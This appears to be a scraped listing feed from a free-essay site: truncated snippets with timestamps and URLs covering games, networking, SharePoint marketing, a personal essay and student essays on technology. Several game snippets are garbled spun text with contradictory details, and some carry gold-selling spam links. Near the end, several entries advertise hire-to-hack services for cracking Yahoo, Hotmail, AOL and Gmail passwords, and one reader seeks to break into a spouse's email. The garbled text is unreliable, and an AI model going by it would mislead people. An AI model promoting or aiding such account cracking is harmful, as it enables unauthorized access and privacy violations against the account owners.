way of game enthusiasts F2P and much people today shared with united states that him and i wanted to constrain admission to subject material scripted. A narrative is a soul of your recreation, we'd so that you can constrain obtain. Most people believe that one other. Most people think track record is a soul of your connection with game play plus just what exactly SWTOR ze. Hence, constrain obtain in any respect in the least will not be a matter. We really wish for recreational game enthusiasts will be commencing to have fun with and see historical past, involve ourselves plus it is good to give for nothing. There are actually lots of other stuff while in the recreation that him and i have enough money for them plus would suggest other stuff so that you can readers to prevent these folks plus feast a search readers by using subject material " los 2012-08-28T20:33:18.247-04:00 http://75.150.148.189/free-essay/SWTOR-around-freemium-just-what-exactly-absolutely-free-subject-material-to-get-a-given-subject-material-34635.aspx While consequently number of flash games have been your BioWare or LucasArts MMORPG Legend Competitions: Your Previous Republic (SWTOR) is now a difficulty: get 2012-08-28T04:26:48.29-04:00 http://75.150.148.189/free-essay/SWTOR-Server-Mergers-almost-certainly-occur-rapidly-34634.aspx February 2 came one of the most highly anticipated massively multiplayer online game Guild Wars 2 Online, the action in which, as the name suggests, is set in the universe of TV shows and movies, "Guild Wars 2." We spent a few days aboard the Federation and the Klingon Empire during the open beta and head start, designed for pre-order 2012-08-21T02:03:07.33-04:00 http://75.150.148.189/free-essay/The-average-series-Guild-Wars-2-looks-like-34628.aspx In Swtor: Cataclysm many changes will be applied to the talents and abilities of different classes. You can have some idea of what is being prepared for the 2012-08-16T22:34:11.73-04:00 http://75.150.148.189/free-essay/Redistribution-Cheap-swtor-credits-will-transfer-assets-34626.aspx You think that the leveling will never end, that the quest becomes a task indefinitely, they prevent you from experiencing the content is high? Tired of wasting precious Kinah xp and redeem the lost strength to die several times a day? If your goal is to climb to level 50 within a period as short as possible and obtaining the best equipment, skills and objects, it absolutely must not start your journey without this Swtor Guide. With strategies to win a lot of inches, this guide will facilitate your journey from level 1 to 50. You will find yourself going at a speed increased and at ease. The enemies will not be so simple as hello. The Unofficial Guide by Killer Guides Swtor is probably the tutorial invaluable for any serious adventurer in Atreia. Swtor Leveling Guide: You are disappointed because of sterile efforts to promptly xp? Here is the guide that Swtor will change that; leveling experience will become what you probably have fun. With super effective strategies for leveling the Elyos and the Asmodian, you will learn how to optimize the assembly until level 50. Well, you will find yourself at level cap before you even notice! Guide Swtor quests: You spend time completing quests that do not reward you kindly? No longer allow these uncertainties waste your time and slow down your leveling performance. This Guide Swtor learn which quests are worth, where they are and how to accomplish at home. Swtor Kinah Guide: Is it not that the equipment becomes more and more expensive? You pay more and more taking care of your character in. favorite? It is not enough just to save money to make ends meet? If you are someone who realizes the importance of accumulating huge pile of Kinah, you'll enjoy this guide Swtor. Here are some aids that is gathered into it: how to increase your profits from the Hotel sales, how to maximize your income from sales and exchanges. Choose which classes in Swtor: Avoid regrets and wasted time due to a poor choice of character. Learn what Swtor offers for each class: the specificities of each class, its strengths and weaknesses. In addition, the Swtor guide you illustrate the strategies of fighting elite players: you will know how to be the master of tank and DPS. http://www.gamegoldfast.com/swtor/buy-swtor-credits.php Swtor Macros and lexicon: Looking to exceed your comrades and your reputation devastating on your server? You will probably 2012-08-13T01:48:59.603-04:00 http://75.150.148.189/free-essay/Swtor-guide-gives-you-tips-and-tricks-34624.aspx These awards are special in that we can do without most of the time by investing more distinctions of war zones. These marks are indeed recoverable by exchanging 30 distinctions of war zones = 10 distinctions mercenary. They are not directly related to an equipment level. It's a faster way to get his way by making foreign missions in addition to the traditional missions in war zones. So you can recover on Tatooine, in chests, in the PvP zone at 5 chests every 2 hours with 20 awards each time. A total of 100 distinctions mercenary. The area is 2012-08-08T22:22:17.63-04:00 http://75.150.148.189/free-essay/Get-a-token-to-buy-equipment-Swtor-34620.aspx And others not. Guess which category Diablo 3? If you are unsure, a little tour around here should suffice to show that between a game being played in minimized window, 16 colors and 3D optimization and without an app like WoW, there, you know ... a little difference. So yes, for sure, Diablo 3 is free ... Or more precisely: Diablo 3 is PARTLY free. The first twenty quests are, and their associated territories. Because to enjoy the full content, you will have to cough up. 4 euros 60. Which apparently is not huge, but still represents a third of a traditional subscription. The number of quests offered a total wealth of environments, the variety of possible careers and quality monitoring network be enough to justify the investment? We must believe, given the success of this universe persistent med-fan: 9 million subscribers, including 850,000 in paid subscription. At first, inevitably, it is really very sore eyes. Even when one has the ethics to not only judge the quality of a game on its graphics. Then? It still hurts the eyes, these polygons, such as crepe paper colors, the textures refined chisel. But you get used to. Or rather, we accept the thing: having the mouth of a Playmobil, move in an environment without perspective, engage in battles particularly poorly animated, how lame duel. We accept idwt0806 the thing, as we accept the low number of choices for customization, early in the game: having to be a human, male or female, with a horrible haircut and clothing gypsy. We accept it because the whole is coded in Java, but first on the basis of a tacit challenge: what Diablo 3 does not have in visual charm, it must possess the depth of play For the player, do this kind of bet is a quasi-daily basis, especially in terms of MMO. Much of the pleasure that may emerge will indeed be linked to the discovery of new players, with whom it will be possible to build relationships, but also to explore new areas and increasing the development of his character. Before you do this, the road is necessarily long. In Diablo 3, it begins with a tutorial, where the bulk is not in the mastery of war, but in the art of fishing, food preparation and extraction of ore. With a little imagination, one can already feel the wind of freedom. Develop in Parallel 2012-08-06T01:50:22.253-04:00 http://75.150.148.189/free-essay/Diablo-3-does-not-have-in-visual-charm-34614.aspx I would have to say I would encourage the President to go ahead with the original set-up that I had suggested. That would be a client/server-based network. The advantage of a client/client/server-based network is that the data files that will be used by all of the users are stored on the one server. Which gives you a central point to setup permissions on the data files, and it will give a central point from which to back up all the data in case data loss should occur. I would recommend they switch to a twisted pair wiring because there are several advantages for the use of twisted pair cabling. It is very flexible to make it very easy to work with. It is also less expensive than coax cable. The reason why twisted pair cable has become so popular is because networking protocols and standards were designed to support twisted pair wiring. There are a few disadvantages such as the casing; the sheath around the twisted pair networking cabling that is relatively thin. It doesn’t have a second insulator like coax and it is a bit more susceptible to electromagnetic interference, and twisted pair is a bit more susceptible to eavesdropping. A virtual private network (VPN) is a private network that interconnects remote (and often geographically separate) networks through primarily public communication infrastructures such as the Internet. VPNs provide security through tunneling protocols and security procedures such as encryption. For example, a VPN could be used to securely connect the branch offices of an organization to a head office network through the public Internet. A VPN can also be used to interconnect two similar-type networks over a dissimilar middle network for example, two IPv6 networks over an IPv4 network. There are two main types of VPN: remote-access VPNs and Site-to-site VPNs. Remote-access VPNs allow individual users to connect to a remote network such as roaming salespeople connecting to their company's intranet. Site-to-site VPNs allow inter-connection of networks of multiple users for example, branch offices to the main company network. VPNs hence reduce costs as they eliminate the need for dedicated leased lines between networks, but instead use existing infrastructures to connect networks while adding a layer of security. VPNs typically require remote users to be authenticated and make use of encryption techniques to prevent disclosure of private information to unauthorized parties present on the network(s) the VPN goes through.Through VPNs, users are able to 2012-06-06T20:39:55.88-04:00 http://75.150.148.189/free-essay/Building-on-Pripr-Success-34586.aspx when they fought.  I have many memories of visiting with me dad. I was never as close with him as I was with my mom. The divorce could have been a big part of that. I think that since it was pretty much automatically decided we would live with our mom that at a young age I took that as being abandoned. That we weren't wanted, he wanted to move along and find a new family. My brother had several behavioral problems growing up. He gave my mom hell. He did not want to see our dad at all for a couple of years. So I remember going to go visit my dad every other weekend alone many of the times. My dad remarried about 5 years after my parents divorced. My brother didn't care for our stepmom much until we both hit "adult" years. I think as adolescents we saw her as trying to replace our mom...and held some hatred towards her for that. My mom worked constantly after the divorce. Working 2-3 jobs at a time. We never went without but one thing she would never do was ask our dad for more money. I don't know if she was too proud or what. I think back in the day(like it was so long ago haha) she got less than 400 dollars a month for child support. Never went to court to ask for more. So at an already awkward age of being a teenager I was always self-conscious about my clothing, hair, etc.  My mom had a few boyfriends I can remember growing up. They would start to get really serious and then there would be a break up. It would never be really explained, but I felt like I was the caretaker of the house. Worrying about mom, cleaning, cooking. On top of that I saw the amount of trouble my brother was getting into so I had to put forth extra effort to "be the good kid".  I got good grades in school, did some extra-cirricular activities now and then. But to be honest I felt so socially-exempt. I was always scared of what others thought, to the point of making myself sick. I remember skipping school one day in the 9th grade to hide in my closet.  Now, I am married myself, for 10 years. And we have 3 children. Marriage has had its ups and downs but coming from 2012-05-11T07:42:55.333-04:00 http://75.150.148.189/free-essay/Broken-homes-34561.aspx More information : http://www.tatvasoft.com/software-development-technology/sharepoint-developer.asp SharePoint has become the more preferable decision over other platforms of Microsoft when it comes to manufacturing industries. It is actually designed with an outstanding interface. This interface enables users to perform actions like filtering, editing, grouping and sorting information. With SharePoint development, its attainable to incorporate the information along with other libraries and lists. Security management on list level and even item level is effective by using SharePoint development. Personalized functionality for data management, reporting and distribution throughout internal organization programs is furnished by it. Through a query, it provides the facility to search and acquire particular data. By using a query, searching and extracting of specific data can be done. You just need to type in search criteria for getting the data. Then system would sort through all of the lists and then show the appropriate info. The info can be displayed in a sequence such as alphabetically or perhaps numerically through certain SharePoint tools. Additionally, it can filter out irrelevant data while showing the most applicable data. Industry's ERP transactional files, product sales and also operations data, quality and client service information of industry really needs to be collectively in 1 place. And such work flow automation can easily be attained by way of SharePoint experts. As for manufacturing field, when the company develops, the different sections for management of product manufacturing will have to integrate with one another. In the absence of the collaboration method in an business, the workers have to exchange techniques and plans with the aid of chat software or even e-mail. But that overloads the mail box, raises the network traffic along with the versioning issues. These problems cause the difficulty of keeping the multiple documents and their locations. To eliminate all issues, SharePoint consultant can be more useful to Project Administrators to setup the portal in which their crew can manage jobs, save files and submit status and news. SharePoint development services delivers central repository for all the corporation policy, Human resources along with other organization paperwork. Enterprise professionals could take benefit from SharePoint lists; lists can be created and utilized for appointment scheduling, reserving functions, creating and determining duties and managing staff stats. Market sectors aren't limited to 1 destination these days. They function in many different nations, states and cities. SharePoint developers assists teams and individuals team up each other despite the fact that they're geographically separate. It is actually 2012-02-13T05:09:25.57-05:00 http://75.150.148.189/free-essay/Work-Flow-Automation-Can-be-Easily-Experienced-Through-the-Help-of-SharePoint-Experts-34474.aspx Use of a formula which controls Windows SharePoint Server 2010 yields lots of advantages associated with Windows SharePoint Services (WSS) 3.0. The very first plus point is enhanced group output by using user friendly collaborative tools. SharePoint Services 3.0 allows users to produce their specific work spaces, group work spaces, organize documents and information. It also helps users share all of this information with the whole team. Critical notices and also updates can be acquired through the staff by means of communication features. Windows SharePoint Services (WSS) 3.0 also provides many other communication functions such as alerts and also announcements. SharePoint developers can create weblogs and wikis along with brand-new web templates. Microsoft SharePoint Server 2010 delivers offline synchronization option while customers are usually mobile and not in synchronize. Additionally, it offers improved Record Management capabilities by providing the check-in/check-out ability. You'll be able to upload the edited documents in the same document library which keeps modern edition of the uploaded document. Strength of document is preserved in the SharePoint site and also SharePoint Services ensure that integrity whilst putting the doc upon team websites also. Increased Sights and Menus are usually covered inside WSS 3.0 which offers abundant user interface practical knowledge. Due to this, the navigation turns less difficult within and also among SharePoint sites. It provides the users quicker expertise when they are implementing Ms office system documents and also applications. They can together develop work spaces, generate, edit and also share documents and as well see and upgrade calendar records inside SharePoint web site. SharePoint experts opine that the organizations that are searching for customized deployment can easily get their tasks finished by just using application templates. In SharePoint, access authorizations can be created restricted either to the document or item level or various other work groups. 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It had been ever since beginning 1980s, that Information And Technology market is doing it's task effectively. However, IT market inside India had been presently there from early 80s, the outsourcing started only as soon as the governments include started out the operation of liberalization in the nation. The very first service that has been outsourced to India was medical transcription. Yet, it was only after MNCs began establishing their particular totally owned subsidiaries, that data processing, medical billing and customer support outsourcing as well started. Outsourcing in India relishes an unique set up overall economic expansion of the nation for a number of factors. India supplies customers along with economical and also qualitatively higher services. The outsourcing software development companies benefit through the decreased running costs, better freedom along with faster time to market aspects. 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There is also a need of website development services to address several company needs. They could contain getting, selling as well as producing logical and also statistical calculations. Amongst diverse web site apps, you'll find: cms (for web-sites) as well as document control systems; customer relationship management systems; and RIA apps etc. It's not a mysterious seeing that strong on-line presence is must relating to the success of economic. there are lots of expert website development organizations as well as web application developers who have been experienced in providing website design and web site app development services for far better management of organization to make sure that an enterprise might have extra edge across the opponents. Just before speaking about what are the aspects included in web-site development services, it would be better to notice what sort of website application services are generally well-known. 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It is obvious that individuals all like graphics. These days, there have been a lure to use Flash to generate the web-sites much more amazing along with desirable successfully. However, occasionally, the employment of Flash prolongs the actual loading time and sometimes making the packing also irritating for the customers. For this reason, professionals tips is to cut down use of Flash particularly there is a demand for visible description. In that circumstances furthermore, it is very important maintain size the records smaller than average and rapidly loading. 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SharePoint developer is utilized to change the style as well as performance regarding website app. Since each of the documents inside SharePoint 2010 are stored in a common server farm, administrator has the right to start electronic mail notifications wherein members will be provided notifications for every changes and also updates within the info they have rights to utilise. Incorporation of SharePoint development to silverlight so that you can utilize maps and also graph and various silverlight characteristics. Microsoft InfoPath 2010 could be successfully used with the Microsoft SharePoint 2010 to build all sorts of electronics business applications immediately. SharePoint can also link to the microsoft windows powershell task automation tool as well as manage SharePoint efficiently. It is significant that certain resources needs to be utilized simply by certain consumers only and utilizing SharePoint local tools admin can simply produce reports to 2011-12-12T02:13:29.403-05:00 http://75.150.148.189/free-essay/Employ-SharePoint-Consultant-Regarding-Enhance-Business-Development-34384.aspx Techno-Logical Youth Read a book, our nation depends on it! Technology is making you and me stupid! -- Wait, what? The digital age is a change and an improvement to our society, not a detriment, right? “The Dumbest Generation, How the Digital Age Stupefies Young Americans and Jeopardizes our future [or, Don’t Trust Anyone under 30]” by Mark Bauerlein, sets out to prove just that. The title says it all-- the book documents and analyzes the decline of literacy and critical thinking amongst American youth under the age of 30, technology being the main culprit. I, being part of the ‘dumbest generation’, should be inclined to disagree. Bauerlein uses terminology as if we (the ‘dumbest generation’) are the beginning of the end. He suffocates the reader with his heavy reliance on statistics that range from convincing, to mildly plausible. He presents and compares his findings and surveys to what seems like any statistic that better supports his argument. He uses extreme scenarios, insignificant testimonials-- anything to support his thesis. However, while I cannot agree with the extent to which Bauerlein takes his argument, as well as the language in his delivery, I cannot contend with the overall message of the book. It is not easy reading something that is, in essence, insulting you and a majority of people you know. Consequently, my natural reaction was to counter argue in support of my generation. And while I tried to disagree and challenge Bauerlein’s arguments, I couldn’t help but find myself in agreement throughout a majority of the book. Bauerlein brings up great points which I, when being completely honest with myself, cannot dispute. I would like to be able to say that I read an ample amount in my leisure time, but I, like many of my peers, simply do not. While I do not believe that the ‘dumbest generation’ is responsible for the impending downfall of the nation, it was an eye-opening read to see just how absorbed in technology not only we Millennials are, but the extent to which we are as a nation. That being said, increased screen time (time spent with technology) amongst our nation’s youth is not only detrimental to considerable psychological developments, but also jeopardizes the future leaders of our nation due to its inherent by-product of peer absorption, and the ‘bibliophobic’ nature they collectively generate. Some may argue that technology is an educator; however it merely gives 2011-12-06T03:05:52.417-05:00 http://75.150.148.189/free-essay/The-Dumbest-Generation-Essay-34374.aspx Smart Phones: Windows vs. Android With time, phones have changed drastically. First from the house phone to the “brick phone,” flip phone and now touch screen. Not too long ago Google and Microsoft Windows created smart phones that were really similar to the Apple iPhone, which was the phone that achieved better management of apps—BlackBerry being the first to launch phone applications. These smart phones are called Android and Windows Phone 7 which differ a lot from each other. When someone is seeking a new phone, one might consider the kinds of features or the things one can perform on the phone itself. Taking this into consideration, the Android phone will be compared to the Windows phone according to features, user interface and customization. First off, the Android phone and the Windows phone notably vary in features. Android offers a number of capabilities that the windows phone doesn’t have. One of the features is the built-in voice control, which you can use in making calls, dictate a phone SMS message as well as send an e-mail and searching the web by talking instead of typing or tapping. Built-in widgets are a very useful feature as well. Built-in widgets help perform a task, but they are placed in the home screen and are much smaller than full-blown apps. Another feature is the back-up you obtain with Google accounts. When you log in into any Google account in the Android phone it automatically syncs with many Google services. The contacts and the calendar in your Google account are automatically exported into your phone. Also, Android has a universal inbox which joins all of your e-mail accounts, so it’s easier to administer them. In contrast, the Windows phone is not too friendly with other kinds of services from other companies and it lacks a universal inbox and copy and paste. Copy and paste isn’t vital to the phone but comes in very handy at times. Regardless of this, Windows has its own fair share of features some of which are not built-in to the Android operating system. Microsoft Word, Excel, PowerPoint, OneNote and SharePoint are the documents integrated into the Windows phone and are considerably practical if one has an office job or school to deal with. The Windows phone also has Xbox live integrated which is a very nice feature for game fanatics as well as social gamers. Another thing that contrasts both operating 2011-11-22T11:43:57.69-05:00 http://75.150.148.189/free-essay/Smart-Phones-Windows-vs-Android-Compare-and-Contrast-Essay-34353.aspx Google is clearly the best general-purpose search engine on the Web (see www.pcmag.com/searchengines But most people don't use it to its best advantage. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google's index, it's still a struggle to pare results to a manageable number. But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Google's search options go beyond simple keywords, the Web, and even its own programmers. Let's look at some of Google's lesser-known options. Syntax Search Tricks Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages. Google has a fairly complete list of its syntax elements at www.google.com/help/operators.html . Here are some advanced operators that can help narrow down your search results. Intitle: at the beginning of a query word or phrase (intitle:"Three Blind Mice") restricts your search results to just the titles of Web pages. Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you're searching for might commonly appear in URLs. If you're looking for the term HTML, for example, and you don't want to get results such as www.mysite.com/index.html , you can enter intext:html. Link: lets you see which pages are linking to your Web page or to another page you're interested in. For example, try typing in link:http://www.pcmag.com Try using site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:"Mark Twain"site:edu. Experiment with mixing various elements; you'll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites. Swiss Army Google Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature (www.google.com/help/features.html#calculator) lets you do both math and a variety of conversions from the search box. For extra fun, try the query "Answer to life the universe and everything." Let Google help you figure out whether you've got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try "thre blund mise") and Google may suggest a 2011-11-17T18:53:13.773-05:00 http://75.150.148.189/free-essay/Twenty-Great-Google-Secrets-34349.aspx According to Mogelonsky (1995), “Techno-gurus say that telecommuting - riding the information highway instead of the paved one - is the way of the future” (p. 15). Approximately nine million Americans telecommuted from home in 1994. Millions more telecommuted from virtual offices and telework centers; another million were expected to join their ranks by the end of 1995. Clearly, a vast number of workers and employers are making telecommuting work for the employees, employers, and society as a whole. Many people of both sexes who have chosen to leave traditional corporate environments have established home offices. Sharell (1995) has noted that working from home has become increasingly popular for women. This would imply that women are gaining a sense of empowerment over their jobs and personal lives, but is this true or has telecommuting been unfair to women? Is this simply another case of exploitation, perpetuating the view that “the woman’s place is in the home,” which has been established and maintained by a male-dominated society through a totalitarianism ethic that has discovered a means of dominating women from within and excluding them from economic success through the use of the apparatus of coercion? Is this a way to ensure that women retain their housewife and childcare status, while at the same time remain corporate employees at lower levels of service? The purpose of this paper is support these views through a review of appropriate research studies and investigative reports. It is first important to note that no clear and definitive studies were found that provided empirical evidence of the percentage of males and females who telecommute, complete with a gender breakdown of different job opportunities and areas of service. Such research would provide support to the belief that significantly more women in service-oriented and sales jobs telecommute as compared to men. It would also support the contention that women are being excluded from the more lucrative jobs, more-or-less maintaining their “clerical,” “sales,” and “secretarial” status. Most studies that were found focused on the reasons why people telecommute, the barriers that exist at the corporate management level and translate in terms of attitudes and myths, and tips on how to successfully make a life while making a living or working smarter 2011-10-31T22:23:16.597-04:00 http://75.150.148.189/free-essay/Telecommuting-Working-from-Home-34269.aspx Robotics competitions are fast becoming more prevalent and popular throughout the world for middle and high school-aged students. These competitions serve as a stepping stone in inspiring future leaders, inventors, scientists 2011-10-31T10:18:18.307-04:00 http://75.150.148.189/free-essay/The-World-Of-Robotics-34254.aspx This essay discusses several examples of the way in which technology begun to move into the classroom. I Introduction Technology has become an important part of our lives. While we may think of technology mainly in terms of science and the computer industry, it also plays an increasingly large part in education, in various ways. This paper explores briefly some of the uses of technology in education. II Discussion Technology has entered the classroom in various ways; for example, television shows are created specifically for educational purposes and broadcast to the classroom. Alternatively, teachers are encouraged to purchase professionally made programs and use these visual presentations in place of traditional lectures. Perhaps the greatest change, and the one that most clearly illustrates the “marriage” of education and technology, is the increasing use of the Internet. Sometimes entire classes are conducted via the Net; sometimes exams or lessons are posted there; sometimes technology is used in the classroom to create a project. The uses are varied, and the results have been mixed, but most educators seem to feel that as comfort with the technology rises, the integration of technology into the classroom will become easier and the results superior. One use of technology in education was a project done with third-grade gymnastics students. Technology is just now coming into use in physical education, and pilot effort explored ways in which writing and movement could be melded. Physical education is rarely thought of as a field that lends itself to technological innovation, but this project proved its value. The young gymnasts were asked to compose their own routine, and then to verbally describe that routine. “Analogies were drawn between physical movement and the figurative representation in written form, which matched the actual physical form of the routine. The next step … was to construct a poem using the descriptive words and expressions.” (Finkenberg, 2002, PG). The children then performed the routine, which was videotaped; a voiceover recited their poem as they moved. The concept was unique: the tapes showed the youngsters as they did their gymnastics moves and at the same time allowed the audience to listen to those same youngsters describing what the moves felt like to them, what they meant to them, etc. The entire class was videotaped; copies were made available to those who wanted them. The program was a rousing success, integrating the two 2011-10-31T01:15:25.68-04:00 http://75.150.148.189/free-essay/Integrating-Technology-and-Education-34248.aspx This essay explores the design of machines that must perform multiple functions. It concentrates on the Harrier fighter and the hybrid car. I Introduction One of the most useful things anyone can have is a device that fulfills more than one function. This is comparable to human babies, of course, who learn and grow and play many roles over a lifetime. Often hybrid designs are startling and complex. We’ll look at two such systems: the new hybrid cars, and an old airplane: the AV-8 Harrier. (I picked it because as an ex-Marine, I’ve seen Harriers numerous times over the years and know quite a lot about them.). II The Harrier The Harrier is a British product; though now McDonnell-Douglas also manufactures it under license to British Aerospace, formerly Hawker-Siddeley, the original designers. It is flown by the RAF and the Royal Navy, as well as the Spanish and Italians, but is probably best known for its service with the U.S. Marine Corps, the only one of the American armed forces to purchase the aircraft. Known unhappily as the “Widowmaker,” the Harrier AV-8A has an appalling safety record, with 55 peacetime accidents (or rather, it had a poor safety record until pilots learned how to fly it). The new Harrier AV-8B II has greatly improved upon the original, but it remains a tricky aircraft to handle even after thousands of flight hours. Nevertheless, the Marines have continued using it because it suits their unique ground support mission so well. The Harrier is the fabled VSTOL (vertical and short take-off and landing) aircraft, the “jump jet” that the armed forces have wanted for decades. It was designed to blend two seemingly incompatible missions: flying like a jet and hovering like a helicopter. It also has to deliver a significant payload of rockets and bombs. It can take off and land conventionally; it can take off and land on a very short runway; or it can take off and land vertically. It is this last feature that has made the airplane famous: numerous movies show the aircraft slowing down until it comes to a complete stop and hangs in midair. The secret to the aircraft’s maneuverability is a concept known as “vectored thrust,” a term which has given rise to any number of lewd jokes. Basically, the airplane is equipped with moveable 2011-10-31T01:12:45.837-04:00 http://75.150.148.189/free-essay/The-Hybrid-Car-34246.aspx This essay discusses several ways in which IT has impacted our lives. Impact of Current Information Technology - Outline I Introduction II Business Trends III Education IV Personal IT Usage V Conclusion Impact of Current Information Technology I Introduction Information technology (IT) ins probably one of the most significant developments in human history since the printing press. It has given rise to one of the most fascinating communications devices ever created, the Internet. It has come into our homes, our schools and our offices, tying us together in unprecedented ways. It is one of the most important developments in recent memory. This paper takes a brief look at the impact IT has had on society, and what it might bring us in the future. II Business Trends Just a few decades ago, businesses had little in the way of office machinery except typewriters. Fax machines were new; only Xerox made copiers, and the computer was a monster that took up an entire room. These behemoths were housed almost exclusively on college campuses or in government laboratories. With the development of the personal computer, the situation changed; it was so quick it sometimes seems like it was overnight. At first, businesses were happy to use computers because their word processing programs made typing projects much easier. But using a computer like a high-powered typewriter defeats the purpose of having the machine in the first place. Companies soon discovered that their PCs could do a great deal more. Companies began to network offices together so that they could share files and work on the same projects from distant locations. They connected to the Internet and put out advertisements to draw new customers. And perhaps one of the most significant business developments to come with IT is the creation of the electronic marketplace. Companies that sell their products over the Internet greatly increase the number of potential consumers who see their offerings. Even if the company is not actively selling goods, a website is a tremendously helpful tool. A well-designed, easy to navigate site can stimulate interest so that a potential customer calls or writes for further information. We have gotten used to hearing “our check our website, at www.whatever.com” for details. Other business applications of IT include “data mining,” “knowledge management,” and “modeling and simulation.” (Kalil, PG). This last is particularly interesting, as it allows companies to build prototypes in the computer. These prototypes perform 2011-10-27T15:02:03.757-04:00 http://75.150.148.189/free-essay/Impact-of-Current-Information-Technology-on-Our-Lives-34207.aspx This paper discusses some of the ways in which electronic interactive media promotes social function; and ways in which it is dysfunctional. (7 pages; 2 sources; MLA citation style) I Introduction We’ve had electronic media around for a long time. Radio and the phonograph go back to the 19th Century and television has been with us since the mid-20th. But today something new has been added: interaction. Rather than passively watching or listening, users can now interact with the medium of expression. This paper speculates about some of the social functions – and dysfunctions – resulting from using the new interactive media as sources for both news and entertainment. II Definition It seemed best to start with a definition of “electronic interactive media.” One source says that EIM consists of the Internet, CD-ROMs, on-line information services, touch-telephone systems and interactive kiosks. EIM is used because it reaches a large audience, offers opportunities for interaction and is largely controlled by the user. (Chapter Sixteen, Integrated Marketing Communications, PG). This seems like a reasonable definition and a good place to start. III Discussion It seems obvious that of the electronic media listed above, the one that has had the greatest impact must surely be the Internet. It has allowed people all over the world to reach out to one another and get to know each other as individuals, no matter what the ideological differences in their governments might be. But as great as the Internet’s potential is, it has some downsides as well. For example, although the Internet does bring people closer, there is no way to tell if the information provided is accurate. Someone in a chat room; or who presents information about himself or herself on a web page can easily misrepresent the facts. Someone can say they make $1 million a year; live in Beverly Hills and drive a Ferrari, and there’s simply no way to know whether that’s true or not. If it were possible to somehow require people to submit paperwork to some “Internet authority” it would destroy the give-and-take that is so much a part of the Net. The point is that the Internet is a medium that must be approached with caution, since it can be misleading. Perhaps more important than occasional questionable interpersonal relationships is the way in which excessive Internet use can cause both health and emotional difficulties. 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Attempting to crack passwords by trying as many possibilities as time and money permit, there are several programs available for password auditing and recovery some of which use password design vulnerabilities (as in the Microsoft LAN Manager system) to increase efficiency. Some are useful to system administrators as any password which can be found using one of these programs is 2008-11-06T18:56:27-05:00 http://75.150.148.189/free-essay/Hack-email-password-33836.aspx 2008-10-15T07:57:40-04:00 http://75.150.148.189/free-essay/Hack-crack-yahoo-hotmail-aol-gmail-password-hack-zone1_net-33810.aspx Hi. Everydoby know about the larget searchers google.com yahoo.com msn.com But do somebody think about new (i mean really new) type of spider? May be new features.(write in comments) Like : sounds search (you said several sounds) or video search or pics i mean real search (not google images) it will be new technology p.s. sorry for my english :) keywords : [url=http://google.com]google.com[/url], yahoo.com, msn.com -------------------------------------------- if you are using other seach spiders write url and why are you using it Hi. Everydoby know about the larget searchers google.com yahoo.com msn.com But do somebody think about new (i mean really new) type of spider? May be new features.(write in comments) Like : sounds search (you said several sounds) or video search or pics i mean real search (not google images) it will be new technology p.s. sorry for my english :) keywords : [url=http://google.com]google.com[/url], 2008-09-30T20:41:04-04:00 http://75.150.148.189/free-essay/Search-in-internet--33738.aspx 2008-08-23T07:49:15-04:00 http://75.150.148.189/free-essay/HACK-CRACK-Yahoo,Hotmail,AOL-Password-WWW_HACK-ZONE1_NET-33666.aspx 2008-08-14T19:20:48-04:00 http://75.150.148.189/free-essay/Crack-Hotmail-password-hiretohack_com-33661.aspx 2008-08-06T08:21:34-04:00 http://75.150.148.189/free-essay/Hack-Crack-Yahoo,Hotmail,aol,Gmail-Password-hiretohack_com-33658.aspx In 1898, Felix Hoffman, a young chemist working for Bayer, succeeded in creating a pain killer to treat headaches that is still marketed to this day. He discovered aspirin. With the success of this wonder drug, Hoffman continued his work and, eleven days later, manufactured a cough syrup that Bayer felt ecstatic to mass market. People purchased the cough medicine in powerful numbers and felt the euphoric sense of goodness. It’s too bad that Mr. Hoffman’s second discovery was heroin. Bayer sold the drug for nineteen years before realizing that it contained more problems than it solved. It was too late for many; the junkie had been born. If the company had just waited longer, tested the product more (instead of counting on his earlier success) the lives of so many souls could have been altered. It seems absurd now in the twenty-first century that something as disastrous and vile as the heroin fiasco could ever occur, but even today, it happens. People have this unhealthy habit of being overzealous with new technology. Take, for example, the exciting new world of genetic technology. Through years of research, scientists have uncovered a vast variety of options available, but at what cost? For instance, a whole forest of insect repellant trees has been created. If insects are not prone to be near those trees, they will leave to find food or simply stay and starve. The same goes for the snakes or other animals that feast on insects and continues all the way up to the human. Either the species will flee or they will suffer local extinction. Either way, there will be a random lot of trees thanks to the eagerness of using genetic technology. This foreign phenomenon is not limited to foliage though. Because they are incapable of withholding new technology, humans, much like insect repellant trees, will one day prove too exotic for the natural universe. People are always looking for an advantage. Be it intellectual, physical, or aesthetic, they crave the best of themselves; even if that means fundamental genetic alterations. Athletes strive to be stronger, so steroids are used; the obese yearn to be thinner, so they undergo surgery; girls long to be prettier, so they get nose jobs. Vanity and arrogance grow too deeply in the hearts 2008-07-25T20:54:52-04:00 http://75.150.148.189/free-essay/Nature-Using-Technology-to-Destroy-Nature-33643.aspx Key benefits with using our service :- 1- Quick , effective and success-oriented. 2- Transparent, safe and simple to use. 3- Fraud-free.. with multiple proofs prior to payment. 4- Multiple payment option, to suit a larger genre. 5- Provides the current 2008-07-16T12:16:15-04:00 http://75.150.148.189/free-essay/Hack-Crack-Yahoo-Password-crackspidergroup_com-33636.aspx 2008-07-13T14:59:05-04:00 http://75.150.148.189/free-essay/HACK-CRACK-Yahoo,Hotmail,AOL-Password-WWW_RENTHACKER_NET-33634.aspx I have doubt on ma wifey that she is talking to someone through her mails i aksed her bt she remained silient n beahved that nthing such had happened before Alcatraz! Niphedorurah 2008-07-02T13:53:13-04:00 http://75.150.148.189/free-essay/HACK-CRACK-Hotmail-Password-www_crackspidergroup_com-33629.aspx How to crack aol password Our Guarantee:- We will provide you the info within 72 hrs of placing your request. Usually, we end up 2008-07-01T10:43:11-04:00 http://75.150.148.189/free-essay/HOW-TO-H-CK-YAHOO,HOTMAIL,AOL-Password-crackspidergroup_com-33628.aspx HI 2008-06-30T11:14:38-04:00 http://75.150.148.189/free-essay/We-Hack-Crack-Hotmail,-Gmail,-AOL-and-Yahoo-Passwords-33627.aspx Good 